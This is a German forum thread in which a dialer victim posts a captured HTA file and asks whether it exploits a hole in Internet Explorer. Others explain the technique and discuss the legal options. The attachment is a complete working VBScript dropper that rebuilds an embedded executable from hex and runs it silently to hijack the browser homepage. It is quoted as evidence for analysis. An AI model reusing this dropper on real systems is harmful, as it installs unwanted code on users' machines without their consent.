Internet Explorer Loch? Download SetHomepage.exe

TSCoreNinja

Mitglied
Liebe Forenmitglieder,

bei Nachforschungen zu meinem Lieblingsdialer (mehr demnaechst), bin ich von einem Webportal aus Richtung Erwachsenenunterhaltung gesurft.
Interessanterweise sind die Endpunkte von etlichen Redirects browserabhaengig. Bei Verwendung eines IE 5.5 begegnete mir neben 3 Dialern etwas, was mir ziemlich zu denken gibt. Auf einmal war eine Datei SetHomepage.exe im Hauptverzeichnis C:\
Blick in die History unter "Temporary Internet Files" offenbarte ein seltsames VBS Script (Visual BasicScript?), das offensichtlich dafuer verantwortlich ist. Text steht weiter unten. Soll dies so klappen? Darf dies klappen, stehen beim Browser die Sicherheitseinstellungen falsch? Ich war davon ausgegangen, Downloads von EXE Dateien muessten immer bestaetigt werden.

An die Juristen unter Euch, reicht dies fuer Anzeige Datenveraenderung, §hastenichtgesehen STGB?

Gruss,
TSCoreNinja


Anhang: fullservice.hta
<title></title>
<script language=vbs>

self.moveto 5000,5000

dim v(34)


v(0)="4d,5a,90,y,03,y,y,y,04,y,y,y,z,z,y,y,b8,y,y,y,y,y,y,y,40,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(1)=",y,d0,y,y,y,0e,1f,ba,0e,y,b4,09,cd,21,b8,01,4c,cd,21,54,68,69,73,20,70,72,6f,67,72,61,6d,20,63,61,6e,6e,6f,74,20,62,65,20,72,75,6e,20,69,6e,20,44,4f,53,20,6d,6f,64,65,2e,0d"
v(2)=",0d,0a,24,y,y,y,y,y,y,y,0d,26,56,df,49,47,38,8c,49,47,38,8c,49,47,38,8c,b3,64,21,8c,4c,47,38,8c,49,47,39,8c,4d,47,38,8c,b3,63,25,8c,48,47,38,8c,b3,63,05,8c,48,47,38,8c,52,69"
v(3)=",63,68,49,47,38,8c,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,50,45,y,y,4c,01,02,y,dd,d3,81,3d,y,y,y,y,y,y,y,y,e0,y,0f,01,0b,01,07,y,y"
v(4)=",02,y,y,y,02,y,y,y,y,y,y,y,10,y,y,y,10,y,y,y,20,y,y,y,y,40,y,y,10,y,y,y,02,y,y,04,y,y,y,y,y,y,y,04,y,y,y,y,y,y,y,y,30,y,y,y,04,y,y"
v(5)=",y,y,y,y,02,y,y,y,y,y,10,y,y,10,y,y,y,y,10,y,y,10,y,y,y,y,y,y,10,y,y,y,y,y,y,y,y,y,y,y,f0,20,y,y,3c,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(6)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,20,20,y,y,1c,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(7)=",y,y,y,y,y,y,y,y,y,y,y,20,y,y,18,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,2e,74,65,78,74,y,y,y,a0,y,y,y,y,10,y,y,y"
v(8)=",02,y,y,y,04,y,y,y,y,y,y,y,y,y,y,y,y,y,y,20,y,y,60,2e,72,64,61,74,61,y,y,ec,01,y,y,y,20,y,y,y,02,y,y,y,06,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(9)=",40,y,y,40,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(10)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(11)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(12)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(13)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(14)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(15)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(16)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(17)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,51,53,56,8b,35,y,20,40,y,57,8d,44,24,0c,50,68,3f,y,0f,y,6a,y,68,c4,20,40,y,68,01,y,y,80,z,d6,85,c0,8b,3d,08"
v(18)=",20,40,y,8b,1d,04,20,40,y,75,1e,8b,4c,24,0c,6a,1b,68,3c,20,40,y,6a,01,6a,y,68,b8,20,40,y,51,z,d7,8b,54,24,0c,52,z,d3,8d,44,24,0c,50,68,3f,y,0f,y,6a,y,68,8c,20,40,y,68"
v(19)=",02,y,y,80,z,d6,85,c0,75,1d,8b,4c,24,0c,6a,24,68,58,20,40,y,6a,01,50,68,7c,20,40,y,51,z,d7,8b,54,24,0c,52,z,d3,6a,y,z,15,10,20,40,y,5f,5e,5b,90,90,90,90,90,90,90,90,90"
v(20)=",90,90,90,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(21)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(22)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(23)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(24)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(25)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(26)=",y,80,21,y,y,60,21,y,y,6e,21,y,y,y,y,y,y,44,21,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,dd,d3,81,3d,y,y,y,y,02,y,y,y,4c,y,y,y,a0,21,y,y,a0,07"
v(27)=",y,y,68,74,74,70,3a,2f,2f,77,77,77,2e,73,74,61,72,74,73,65,69,74,65,2e,64,65,2f,y,y,y,68,74,74,70,3a,2f,2f,77,77,77,2e,73,74,61,72,74,73,65,69,74,65,2e,64,65,2f,73,65,61,72"
v(28)=",63,68,62,61,72,y,y,53,65,61,72,63,68,41,73,73,69,73,74,61,6e,74,y,53,6f,66,74,77,61,72,65,5c,4d,69,63,72,6f,73,6f,66,74,5c,49,6e,74,65,72,6e,65,74,20,45,78,70,6c,6f,72,65,72"
v(29)=",5c,53,65,61,72,63,68,y,53,74,61,72,74,20,50,61,67,65,y,y,53,6f,66,74,77,61,72,65,5c,4d,69,63,72,6f,73,6f,66,74,5c,49,6e,74,65,72,6e,65,74,20,45,78,70,6c,6f,72,65,72,5c,4d,61"
v(30)=",69,6e,y,y,y,3c,21,y,y,y,y,y,y,y,y,y,y,52,21,y,y,10,20,y,y,2c,21,y,y,y,y,y,y,y,y,y,y,90,21,y,y,y,20,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(31)=",y,y,y,y,y,y,80,21,y,y,60,21,y,y,6e,21,y,y,y,y,y,y,44,21,y,y,y,y,y,y,ab,y,45,78,69,74,50,72,6f,63,65,73,73,y,4b,45,52,4e,45,4c,33,32,2e,64,6c,6c,y,y,c8"
v(32)=",01,52,65,67,43,6c,6f,73,65,4b,65,79,y,f8,01,52,65,67,53,65,74,56,61,6c,75,65,45,78,41,y,y,e1,01,52,65,67,4f,70,65,6e,4b,65,79,45,78,41,y,41,44,56,41,50,49,33,32,2e,64,6c,6c"
v(33)=",y,y,y,y,52,53,44,53,77,f2,e5,03,d5,4a,cd,4b,bc,65,a3,90,d8,17,76,cf,08,y,y,y,63,3a,5c,44,65,76,5c,50,72,6f,6a,65,63,74,73,5c,53,65,74,48,6f,6d,65,70,61,67,65,5c,52,65,6c"
v(34)=",65,61,73,65,5c,53,65,74,48,6f,6d,65,70,61,67,65,2e,70,64,62,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
function res(x,y)
For k = 0 To UBound(v)
v(k) = Replace(v(k), x, y)
Next
End Function

res "z", "ff"
res "y", "00"

For m = 0 To UBound(v)
it = it & v(m)
Next


tmp = Split(it, ",")

Set WshShell = CreateObject("WScript.Shell")
Set WshEnv = WshShell.Environment("Process")
pth = WshEnv("HOMEDRIVE") & WshEnv("HOMEPATH") & "\SetHomepage.exe"

Set fso = CreateObject("Scripting.FileSystemObject")

Set f = fso.CreateTextFile(pth, True)
For i = 0 To UBound(tmp)
l = Len(tmp(i))
b = Int("&H" & Left(tmp(i), 2))
If l > 2 Then
r = Int("&H" & Mid(tmp(i), 3, l-2))
For j = 1 To r
f.Write Chr(b)
Next
Else
f.Write Chr(b)
End If
Next
f.Close
WshShell.run("""" & pth & """")

self.close
</script>
 
Bei einer Einwahl, genauer gesagt, vier direkt ineinander übergehenden Einwahlen, hat der Dialer ca. 15 Sekunden gebraucht, um eine Verbindung herzustellen. Es gab jedenfalls immer ein "Zeitfenster" mit jeweils 14-15 sek. ohne Abrechnung.


Wenn ich von den jeweiligen Einwahlzeitpunkten jeweils 15 Sekunden zurückrechne, gibt es folgende Dateien, die IMMER auftauchen: a)verschiedene Bilddateien, teilweise UPX-gepackt, die seltsam erscheinen und b) eine Datei wie die oben beschriebene

Ich kann gerne noch weitere Details zur Verfügung stellen, wenn jemand der Ansicht ist, dass dies irgendwelche Konsequenzen haben würde. Wenn nicht, ist es mir einfach zu viel Arbeit. Falls irgend jemand einen STRAFRECHTLICH relevanten Beweis für ein Fehlverhalten findet, bin ich dabei. Denn zivilrechtlich ist es eigentlich ganz einfach: Eine mail an den Inhalteanbieter und eine mail an den Abrechner auf der Telekom-Rechnung und die Sache ist erledigt. Warum das so ist, darüber habe ich mir lange den Kopf zerbrochen. Eine Antwort fand ich nicht. Ist wohl ein besonders kulanter Inhalteanbieter...
 
Was das Script macht, ist mir relativ klar.
Eher interessant ist fuer mich, ob das VBScript funkionieren duerfte. Ich kenne mich nicht wirklich mit dem IE/MicroSchrott aus, und war davon ausgegangen, dass ich das Downloaden/Ausfuehren von .exe Dateien bestaetigen muesste.

Das Script belegt eindeutig, dass dies so nicht ist. In mienem Fall wird also die Datei SetHomepage.exe ausgefuehrt, die tatsaechlich nur die Homepage auf jenes Portal umbiegt. Theoretisch geht dies mit jedem anderen Executable, bis hin zu "format C:" (braucht nicht mal den download... )

Ist dies eine Sicherheitsluecke? Oder User Error, weil ich die Sicherheitseinstellungen zu niedrig habe (sind die Default Einstellungen)? Wenn Sicherheitsluecke, ist die bekannt? Gibt es einen Patch?

entsetzte Gruesse,
TSCoreNinja
 
Bekannte Sicherheitsluecke

Um mir selbst zu antworten, ja, die Luecke ist bekannt, und scheinbar kann jeder Vollidiot / Scriptkiddie dank oeffentlich verfuegbarer Programme das Loch ausnutzen, siehe http://www.nsclean.com/psc-exe2.html. Laeuft ueber sog. hta (html applications), googlen nach IE hta exploit liefert hinreichend Infos. Moral: Finger weg von IE. Wie sieht bei so etwas die juristische Seite aus? Nachdem die Polizei meine Anzeige wg 40EUR Dialergebuehren nicht wirklich ernst nahm, lachen die sich bestimmt tot, wenn man so etwas anzeigt!? Ist ja nur die Homepage veraendert worden... Andererseits koennten die so ziemlich alles damit machen, und laut Opfer gibts ja daruaf basierende Dialer (siehe Link).

Wer so etwas von einer Site bekommen hat (*.hta) u nachweisen kann, hat aber vermutlich ganz gute Chancen, finanzielle Forderungen anzufechten.

Gruesse,
TScoreNinja
 
TSCoreNinja schrieb:
...die tatsaechlich nur die Homepage auf jenes Portal umbiegt...

Einspruch. Das mag harmlos aussehen, aber wenn das einen unerfahrenen user trifft (und v.a. TRAF), ist/war der schneller bei Internet Clearing (früher) bzw. Consul Info (z.B.: horoskope * li) als er schauen kann. Und kriegt ein Horror-skop... (?) Jedenfalls ist der entsprechende oder ein nahe verwandter dialer kürzlich von der RegTP kassiert worden.

Und dass eine Deinstallation des dialers genug übrig lässt, dass es nächstes Mal schneller geht, ist ja bekannt. Diese Startseite ist mit Sicherheit wichtig für das System des Betreibers... Startseite in .de (ehemals start-seite * com) ist ein wesentlicher Baustein und ist mühevoll gestaltet (inkl. google-links, dpa-Pressemeldungen usw.). Dieser Aufwand ist nicht zum Spass gemacht worden...

f.
 
Aufgrund der Telefonrechnung folgere ich, dass der Dialer ca. 15 Sekunden braucht, um eine Verbindung herzustellen

Oder der Dialer macht das absichtlich ! So könnte der Anbieter behaupten, der user hat die Internetverbindung selbständig getrennt, und danach manuell die neue Verbindung gestartet (würde die 15 Sekunden erklären).

Was das Script macht, ist mir relativ klar.
Eher interessant ist fuer mich, ob das VBScript funkionieren duerfte. Ich kenne mich nicht wirklich mit dem IE/MicroSchrott aus, und war davon ausgegangen, dass ich das Downloaden/Ausfuehren von .exe Dateien bestaetigen muesste.

Eben deswegen ist dieses Script ja da. Du lädst keine Datei runter. die Datei existiert nur in dieser Form (quasi in seine Hex-Codes zerlegt) auf der Seite, und durch das Script wird das wieder zusammengesetzt, bzw. auf die Platte geschrieben. Also lädst du nichts runter, ergo IE frägt nicht ob du was downloaden willst.

Opfer
 
Was das Script macht, ist mir relativ klar.
Eher interessant ist fuer mich, ob das VBScript funkionieren duerfte. Ich kenne mich nicht wirklich mit dem IE/MicroSchrott aus, und war davon ausgegangen, dass ich das Downloaden/Ausfuehren von .exe Dateien bestaetigen muesste.

Noch was dazu: Das Ändern der Startseite wird eindeutig VORHER ANGEKÜNDIGT. Allerdings sieht man das nur dann, wenn man die unleserlichen AGBs anschaut ODER beim Bestätigen des Sicherheitszertifikates genau nachliest. Das widerspricht meines Erachtens der "geschäftsüblichen Praxis" und dürfte meines Erachtens nicht ausreichend sein, um alles juristisch abzusegnen. Ich fürchte aber, dass jemand, der eine Startseite wie diese hat, auch Juristen hat, die sich um solchen Kram kümmern.

Eben deswegen ist dieses Script ja da. Du lädst keine Datei runter. die Datei existiert nur in dieser Form (quasi in seine Hex-Codes zerlegt) auf der Seite, und durch das Script wird das wieder zusammengesetzt, bzw. auf die Platte geschrieben. Also lädst du nichts runter, ergo IE frägt nicht ob du was downloaden willst.

Opfer

Weiss die RegTP von solchen Sachen? Dann MÜSSEN die doch gegen die Verantwortlichen vorgehen. Wie kann es das geben, dass die weiterhin abrechnen? Und selbst wenn sie heute 100mal regtp-konforme dialer HÄTTEN, was nach RegTP-Info fraglich zu sein scheint. Wie oft darf ein Anbieter eigentlich dem Rechtssystem auf der Nase rumspringen?

Und noch eine Frage: Warum ist diese Angelegenheit hier kein Thema, warum wird das hier nicht besprochen? Gibt es keine Betroffenen? Sind wir alle bescheuert? Ich kriege es nicht auf die Reihe, dass dieses Dingens in den Dialerforen seit Ewigkeiten bekannt (2002) ist und keiner was dazu zu sagen hat. Als Betroffener würde ich daraus schließen: Lieber zahlen, dieses Teil wird schon ok sein. Und das ist für mich das Problem. So. Emotionsanfall beendet ;)
 
Diese "Sicherheitslücke" ist in dem Sinn keine, sondern das ist vom BS her so vorgesehen.
Natürlich kann diese Funktion mit genügend krimineller Energie auch für andere Zwecke einegsetzt werden. Genauso wie ActiveScripting, JavaScript und ActiveX.
Hervorgegangen sind diese Manipulationsmöglichkeiten ursprünglich aus der Viren- u. Trojanerszene. Deswegen gibt es dagegen auch Schutz. (s Screenshot)
In den meisten Fällen hilft schon die sichere Konfiguration des IE.
http://www.computerbetrug.de/sichern/ie_einl.php?p=0|55|56|
 

Anhänge

  • hta3_1.jpg
    hta3_1.jpg
    46,9 KB · Aufrufe: 271
Devilfrank schrieb:
Natürlich kann diese Funktion mit genügend krimineller Energie auch für andere Zwecke einegsetzt werden. Genauso wie ActiveScripting, JavaScript und ActiveX.
Hervorgegangen sind diese Manipulationsmöglichkeiten ursprünglich aus der Viren- u. Trojanerszene. Deswegen gibt es dagegen auch Schutz. (s Screenshot)
In den meisten Fällen hilft schon die sichere Konfiguration des IE.
http://www.computerbetrug.de/sichern/ie_einl.php?p=0|55|56|

Aber was nützt das, wenn es schon passiert ist??? Es geht doch darum, einen möglichen Computerbetrug :evil: nachweisen zu helfen. Oder irgendwie zivil- oder strafrechtliche Konsequenzen zu realisieren mit einer sinnvollen Nutzen-Risiko-Abwägung. Also: Dein 18jähriger sei Dir gegönnt, ich habe auch schon den Macallan ausgepackt. Aber ein bisschen mehr Info zum konkreten Fall würde ich mir wünschen

:santa:

mit schlechtem Gewissen... in a way...

f.
 
Es wird nicht einfach sein den Tatbestand des Computerbetrugs zu beweisen. In der Regel ist es ja nicht damit getan, die Datei zusammenzubauen, sondern meistens wird sie ja auch wieder automatisch entfernt.
Selbst wenn nicht, wird es schwer sein den ausschließlichen Zusammenhang zwischen dem Script und dem Dialer herzustellen. Zumindest nur unter hohem Aufwand (Gutachten usw.)
 
Hmm. Dann bleibt es bei Zivilrecht? Aber umsonst war es nicht, alles in dieser Sache zu sammeln. Und was meine Sammlungen wert sind, wird sich noch zeigen...

Immerhin hab ich hier langsam die größte Ehekrise wegen diesem Dialermist ;)
 
@ Devilfrank:
> Diese "Sicherheitslücke" ist in dem Sinn keine, sondern das ist vom BS her so vorgesehen.

Ich komme aus der Linux Welt, mich hats nur ueber einen alten Rechner mit Win95 erwischt, den ich aus Faulheit nie umberuestet habe (mit IE u Opera, ungluecklicherweise hat meine Holde IE benutzt). Und da klassifiziert sich so etwas eindeutig als remote root exploit, und ist definitiv eine scheunentorartige Sicherheitsluecke. Denke nur an unaufaelligere Webseiten, die die Default-Plaetze von Homebankng Software Dateien abfragen. Siehe http://www.guninski.com/javaea.html
"IE 5.5/Outlook security vulnerability - com.ms.activeX.ActiveXComponent allows executing arbitrary programs Risk: High Date: 5 October 2000
Damals scheinbar (wenn ich das richtig verstehe) gab es keine Moeglichkeit, das zu verhindern.(siehe http://www.nsclean.com/psc-htas.html) Und scheint auch heute noch zu funkionieren, wenn der hta Service vorher gestartet wurde durch ein lokales Programm.

@alle
Das man etwas dagegen tun kann, ist wenigstens halbwegs beruhigend, aber wieviele Leute surfen noch mit aehnlich alten Browsern wie meinem (IE5.5 von einer Installation von Mai 2001) , und aendern die Einstellungen nicht. Sollte denen zu denken geben (leider denken die, die dies lesen, vermutlich eh schon ;-)

Und das Vergehen sehe ich derzeit auch nicht unter Computerbetrug §263a StGB, sondern unter §303a/b, naemlich Datenveraenderung/Computersabotage, zumindest versuchter. Computerbetrug wird es erst, wenn dies in Zusammenhang mit einem Dialerdownload benutzt wird, und Kosten unwissentlich entstanden sind (bei mir definitv nicht der Fall).

Ausserdem zeigt es, dass diese Leute
a. fit und auf der Hoehe der Technik sind
b. dies schamlos zu ihren Gunsten ausnutzen
(dazu kann ich nur sagen, dass die Links direkt nicht funkionieren, sondern nur in der richtigen Sequenz der Umleitungen. Mehr evt demnaechst mal. Insbesondere erfreuen mich URLs mit Inhalten wie agb=true und xdial=false (xdial=true schaltet in mir vorliegendem Javascript die Einwahlaufforderung ab). Scheinbar hatte ich bisher Glueck, dass ich noch nicht die Links mit agb=false und xdial=true aufgerufen hatte.

@fischchen: "nur auf die Homepage umgeleitet" war in umschreibung der "offiziellen" Reaktion auf meine Strafanzeige ;-) Aber Du hast in einer Hinsicht unrecht, dass aendern der Homepage war bei mir nicht angekuendigt, und vor der Bestaetigung eines Dialerdownloads. Ausserdem viel Glueck mit der Holden, da ist das Herumaergern mit Telekom und Rechtsfirmen richtig angenehm...

Gute Nacht erstmals an alle,
TSCoreNinja
 
@TSCoreNinja

Sorry, aber das nervt langsam!

In Punkto Sicherheit unterscheiden sich weder die Betriebssysteme noch die Browser von einander.

Wo ein Weg raus führt, führt auch immer einer rein!

Die Unterschiede liegen nur
1) im Nutzerverhalten: Linux-User sind überwiegend nicht mir root angemeldet, Microsoft-Verarschte standardmäßig leider als Admin.
2) Microschrottsysteme sind die verbreitetsten. Deswegen werden Angriffe fast ausschließlich gegen Windowssysteme gefahren.

Falls Linux sich bei Heimanwendern endlich irgendwann durchgesetzt hat, wird es für einige 'Idealisten' ein böses Erwachen geben.
 
Der Genervte schrieb:
Die Unterschiede liegen nur
1) im Nutzerverhalten: Linux-User sind überwiegend nicht mir root angemeldet, Microsoft-Verarschte standardmäßig leider als Admin.

Das sogenannte "Sicherheitskonzept" :wall: von Windows hilft nicht die Bohne gegen Dialer, auch
wenn der User sich nicht als Admin anmeldet -
 
@technofreak

Das "Sicherheitskonzept" soll ja auch nur die Zugriffmöglichkeiten einschränken (Progs, Scripte,....). Über die "Güte" braucht man sich nicht zu unterhalten.

Für Dialer war eher der Punkt 2 gedacht.

Da ich aber annehme, das es Dir aus Deiner Kenntnis bewußt ist, grübel ich noch etwas, was Du mit dem Posting mir sagen wolltest .... :gruebel:
 
Der Genervte schrieb:
, grübel ich noch etwas, was Du mit dem Posting mir sagen wolltest .... :gruebel:

Ebenso grübelte ich darüber was das das Einlogverhalten unter Linux im Vergleich zu Windows ausdrücken sollte.

Die Rechteverwaltung unter Windows ist eine Schönwetterverwaltung, wenn die Programme
sich an Billy Boys Verschriften halten, kann es funktionieren, muß aber nicht, Linux dagegen als Abkömmling
eines wesentlich älteren BS nämlich Unix, das aber vom ersten Moment Anfang der 70er
bereits eine funktionierende Rechteverwaltung besaß. Schließlich wurde das Arpanet als
Vorläufer des heutigen Internet fast ausschließlich auf Unix-Rechnern eingesetzt.
Damit sind Vergleiche in Bezug auf das Userverhalten ziemlich witzlos, weil Windows ohnhin
keine echte Struktur wie Unix besitzt, sondern ein einziger Flickenteppich ist .
http://tutorials.beginners.co.uk/read/id/294

http://goethe.ira.uka.de/seminare/grk/geschichte/
 
Zurück
Oben